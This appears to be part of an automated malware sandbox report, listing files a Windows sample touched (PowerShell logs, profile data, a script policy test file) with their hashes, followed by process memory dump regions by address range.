SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
MD5 SHA1 SHA512

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 c4c53abb13e99475aebfbe9fec7a8fead81c14c80d9dcc2b81375304f3a683fe
MD5 a43e653ffb5ab07940f4bdd9cc8fade4
SHA1 af43d04e3427f111b22dc891c5c7ee8a10ac4123
SHA512 62a97e95e1f19a8d4302847110dae44f469877eed6aa8ea22345c6eb25ee220e7d310fa0b7ec5df42356815421c0af7c46a0f1fee8933cc446641800eda6cd1b
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 66908f6bf954deafd5b85d995ea5481e085925fb2fe672622e759e3ff9bb4a28
MD5 bda1d2ea0bf9e82c55abb33ba99901ed
SHA1 71f9f90315d980515dbb9bb5db622562e686710f
SHA512 06168abace0f4087e7ccd59e0034faf964605b2c1485a53609ad1f630021f9b95e030000fce41bfbc5ba8dca82da3592d70f32680f5a84416faf4c1b3975399a
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4fa60d26fe1c43693f09a7daa1e8e3431a4f7b0856ea8030b90f2bcd4084677d
MD5 c47bae554e152cbe8d31800457fe0b1e
SHA1 2fb1b232906afb228b555a775125dac0c0eb019f
SHA512 acb53a37df93cb39ddd8e6c2ea74482567852df1ad2c27eda8c41e055106db37c5115d63bdfde504ce4700d690f906e25684999245389181e2515075fd91c6ff
MD5 SHA1 SHA512

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__PSScriptPolicyTest_vddjbi45.21w.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vddjbi45.21w.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
MD5 SHA1 SHA512 SSDEEP

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StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
MD5 b42c70c1dbf0d1d477ec86902db9e986
SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
MD5 SHA1 SHA512

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memory/868-13-0x0000023363940000-0x0000023363950000-memory.dmp

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memory/868-16-0x00007FF9376F0000-0x00007FF9381B1000-memory.dmp

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memory/868-12-0x0000023363940000-0x0000023363950000-memory.dmp

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memory/868-11-0x00007FF9376F0000-0x00007FF9381B1000-memory.dmp

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memory/868-10-0x0000023363AA0000-0x0000023363AC2000-memory.dmp

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memory/1212-29-0x000002887EB90000-0x000002887EBA0000-memory.dmp

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memory/1212-30-0x000002887EB90000-0x000002887EBA0000-memory.dmp

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memory/1212-32-0x00007FF9376F0000-0x00007FF9381B1000-memory.dmp

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memory/1212-28-0x00007FF9376F0000-0x00007FF9381B1000-memory.dmp

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memory/2608-51-0x00007FF79CF50000-0x00007FF79D161000-memory.dmp

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memory/2608-120-0x00007FF79CF50000-0x00007FF79D161000-memory.dmp

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memory/3384-78-0x000001B17A5A0000-0x000001B17A5BC000-memory.dmp

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memory/3384-61-0x00007FF9376F0000-0x00007FF9381B1000-memory.dmp

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memory/3384-62-0x000001B177E50000-0x000001B177E60000-memory.dmp

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memory/3384-63-0x000001B177E50000-0x000001B177E60000-memory.dmp

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memory/3384-74-0x00007FF4ADE50000-0x00007FF4ADE60000-memory.dmp

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memory/3384-76-0x000001B17A370000-0x000001B17A425000-memory.dmp

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memory/3384-75-0x000001B177E50000-0x000001B177E60000-memory.dmp

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memory/3384-73-0x000001B17A350000-0x000001B17A36C000-memory.dmp

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memory/3384-87-0x00007FF9376F0000-0x00007FF9381B1000-memory.dmp

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memory/3384-77-0x000001B17A430000-0x000001B17A43A000-memory.dmp

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memory/3384-82-0x000001B17A5C0000-0x000001B17A5C6000-memory.dmp

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memory/3384-80-0x000001B17A5E0000-0x000001B17A5FA000-memory.dmp

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memory/3384-79-0x000001B17A580000-0x000001B17A58A000-memory.dmp

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memory/3384-83-0x000001B17A5D0000-0x000001B17A5DA000-memory.dmp

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memory/3384-81-0x000001B17A590000-0x000001B17A598000-memory.dmp

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memory/3384-84-0x000001B177E50000-0x000001B177E60000-memory.dmp

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memory/3552-50-0x00007FF9376F0000-0x00007FF9381B1000-memory.dmp

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memory/3552-47-0x00000294C7100000-0x00000294C7110000-memory.dmp

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memory/3552-44-0x00007FF9376F0000-0x00007FF9381B1000-memory.dmp

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memory/3552-46-0x00000294C7100000-0x00000294C7110000-memory.dmp

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memory/3708-141-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-167-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-191-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-189-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-118-0x000001B2A5460000-0x000001B2A5480000-memory.dmp

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memory/3708-187-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-185-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-183-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-119-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-181-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-124-0x000001B2A55D0000-0x000001B2A55F0000-memory.dmp

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memory/3708-179-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-126-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-127-0x000001B2B5C00000-0x000001B2B5C20000-memory.dmp

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memory/3708-128-0x000001B2B5C20000-0x000001B2B5C40000-memory.dmp

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memory/3708-130-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-131-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-177-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-133-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-134-0x000001B2B5C00000-0x000001B2B5C20000-memory.dmp

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memory/3708-136-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-137-0x000001B2B5C20000-0x000001B2B5C40000-memory.dmp

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memory/3708-139-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-175-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-143-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-149-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-151-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-153-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-155-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-157-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-159-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-161-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-163-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-165-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-173-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-169-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3708-171-0x00007FF613350000-0x00007FF613B44000-memory.dmp

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memory/3968-101-0x000001EC1CD80000-0x000001EC1CD90000-memory.dmp

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memory/3968-114-0x00007FF9376F0000-0x00007FF9381B1000-memory.dmp

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memory/3968-99-0x00007FF9376F0000-0x00007FF9381B1000-memory.dmp

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memory/3968-100-0x000001EC1CD80000-0x000001EC1CD90000-memory.dmp

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memory/3968-112-0x000001EC1CD80000-0x000001EC1CD90000-memory.dmp

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memory/3968-111-0x000001EC1CD80000-0x000001EC1CD90000-memory.dmp

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memory/4388-132-0x00007FF7C8C90000-0x00007FF7C8CA6000-memory.dmp

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memory/4388-125-0x00007FF7C8C90000-0x00007FF7C8CA6000-memory.dmp

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memory/4616-0-0x00007FF696740000-0x00007FF696951000-memory.dmp

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memory/4616-34-0x00007FF696740000-0x00007FF696951000-memory.dmp

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